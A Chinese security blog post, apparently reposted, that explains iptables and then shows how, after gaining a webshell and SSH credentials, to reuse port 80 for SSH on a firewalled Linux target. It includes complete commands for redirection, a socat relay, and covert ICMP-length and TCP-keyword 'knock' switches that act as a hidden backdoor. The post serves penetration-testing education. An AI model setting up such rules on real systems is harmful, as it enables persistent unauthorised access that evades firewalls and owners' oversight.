Linux利用iptables做端口复用

0收藏

0点赞

浏览量:281

2022-01-10

举报


iptables基础

我们自定义的所有规则,都是这四种分类中的规则,或者说,所有规则都存在于这4张”表”中


#1 主动

包含4个表:4个表的优先级由高到低:raw-->mangle-->nat-->filter

#1.1 raw

RAW表只使用在PREROUTING链和OUTPUT链上,因为优先级最高,从而可以对收到的数据包在连接跟踪前进行处理。一但用户使用了RAW表,在某个链上,RAW表处理完后,将跳过NAT表和ip_conntrack处理,即不再做地址转换和数据包的链接跟踪处理了

#1.2 mangle

此规则表拥有prerouting、FORWARD、postrouting三个规则链,除了进行网址转译工作会改写封包外,在某些特殊应用可能也必须去改写封包(ITL、TOS)或者是设定MARK(将封包作记号,以进行后续的过滤)这时就必须将这些工作定义在mangles规则表中

#1.3 nat

此规则表拥有prerouting和postrouting两个规则链, 主要功能为进行一对一、一对多、多对多等网址转译工作(SNATDNAT)

#1.4 filter

这个规则表是预设规则表,拥有 INPUT、FORWARD 和 OUTPUT 三个规则链;负责过滤功能,防火墙;内核模块:iptables_filter


#2 常用命令和参数

举例:iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22
常用命令:-A 追加规则-->iptables -A INPUT-D 删除规则-->iptables -D INPUT 1(编号)-R 修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)-I 插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位-L 查看规则-->iptables -L INPUT 列出规则链中的所有规则-N 新的规则-->iptables -N allowed 定义新的规则-t 指定nat就看nat表信息,不用-t 默认filter表-n 使输出中的IP地址和端口以数值的形式显示-V 输出详细化--line 显示出每条规则在相应链中的序号通用参数:-p 协议 例:iptables -A INPUT -p tcp-s源地址 例:iptables -A INPUT -s 192.168.1.1-d目的地址 例:iptables -A INPUT -d 192.168.12.1-sport源端口 例:iptables -A INPUT -p tcp --sport 22-dport目的端口 例:iptables -A INPUT -p tcp --dport 22-i指定入口网卡 例:iptables -A INPUT -i eth0-o指定出口网卡 例:iptables -A FORWARD -o eth0

#2.1 举例

iptables -t nat -nL --line

注释:

PREROUTING链:PREROUTING链的作用是在包刚刚到达防火墙时改变它的目的地址,是从外部连接过来时的转发

OUTPUT链:OUTPUT链改变本地产生的包的目的地址,是本机连接时的转发

POSTROUTING链:POSTROUTING链在包就要离开防火墙之前改变其源地址



利用情况

在做渗透测试的过程中,我们经常会遇到下面这种问题:

目标主机是Linux系统,目标主机防火墙有严格的限制,只允许80端口的流量进入。我们拿到了目标主机的Webshell并且拿到了SSH的账号密码,但因为防火墙限制不能连接22端口,这时就需要利用80端口做端口复用连接。

现在我们的思路就是利用Linux的iptables防火墙的nat表的PREROUTING 链做端口复用,因为nat 表的 PREROUTING 链会在路由决策之前被处理


实际利用

Kali:192.168.152.250

目标机:192.168.152.135

#1 根据源地址做端口复用

#1.1目标机执行以下命令

iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 //将192.168.152.250访问80端口的流量都重定向到22端口iptables -t nat -nvL //查看规则

#1.2kali上执行命令

ssh -p 80 root@192.168.152.135

#1.3缺点

访问目标主机80端口的流量都会被转给22端口,所以HTTP服务无法访问


#2 根据源地址做端口复用

#2.1目标机执行以下命令

iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --sport 5555 --dport 80 -j REDIRECT --to-port 22 //指定来自192.168.152.250主机的5555端口访问80端口的流量才会被转给22端口 iptables -t nat -nvL

#2.2kali上执行命令

用socat将本地4444端口的流量以源端口5555访问192.168.152.135:80,然后SSH本地的4444端口即可

nohup socat tcp-listen:4444,fork,reuseaddr tcp:192.168.152.135:80,sourceport=5555,reuseaddr

ssh -p 4444 root@127.0.0.1

#2.3缺点

不支持多连接 如果想创建两个 SSH 连接就会出错,因为本地的 5555 端口已经被第一个 SSH 连接占用了


#3 利用ICMP协议做遥控开关

#3.1创建端口复用链及规则

iptables -t nat -N LETMEIN //创建端口复用链 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //创建端口复用规则,将流量转发至 22 端口 iptables -t nat -nvL

#3.2创建开关

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT //开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT //关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

#3.3kali上执行命

开启复用

ping -c 1 -s 1000 192.168.152.135 //向目标发送一个长度为 1000 的 ICMP 数据包(加上包头28,总长度实际为1028,对应上上面设置的开启长度1028)

关闭复用

ping -c 1 -s 1001 192.168.152.135 //向目标发送一个长度为 1001 的 ICMP 数据包(加上包头28,总长度实际为1029,对应上上面设置的关闭长度1029)

#3.4缺点

如果目标在内网,你是无法直接 ping 到它的


#4 利用TCP协议做遥控开关

利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网

#4.1创建端口复用链及规则

iptables -t nat -N LETMEIN //创建端口复用链iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //创建端口复用规则,将流量转发至 22 端口 iptables -t nat -nvL

#4.2创建开关

iptables -A INPUT -p tcp -m string --string 'go' --algo bm -m recent --set --name letmein --rsource -j ACCEPT //开启开关,如果接收到一个含有 go 的TCP包,则将来源 IP 添加到加为letmein的列表中 iptables -A INPUT -p tcp -m string --string 'out' --algo bm -m recent --name letmein --remove -j ACCEPT //关闭开关,如果接收到一个含有 out 的TCP包,则将来源 IP 从letmein的列表中移除 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

#4.3kali上执行命令

开启复用

echo go | socat - tcp:192.168.152.135:80

关闭复用

echo out | socat - tcp:192.168.152.135:80


(来源:黑白之道)

(原文链接:https://mp.weixin.qq.com/s/Ri1poaoc2Vkr8JyWQDzA3w

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安 Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP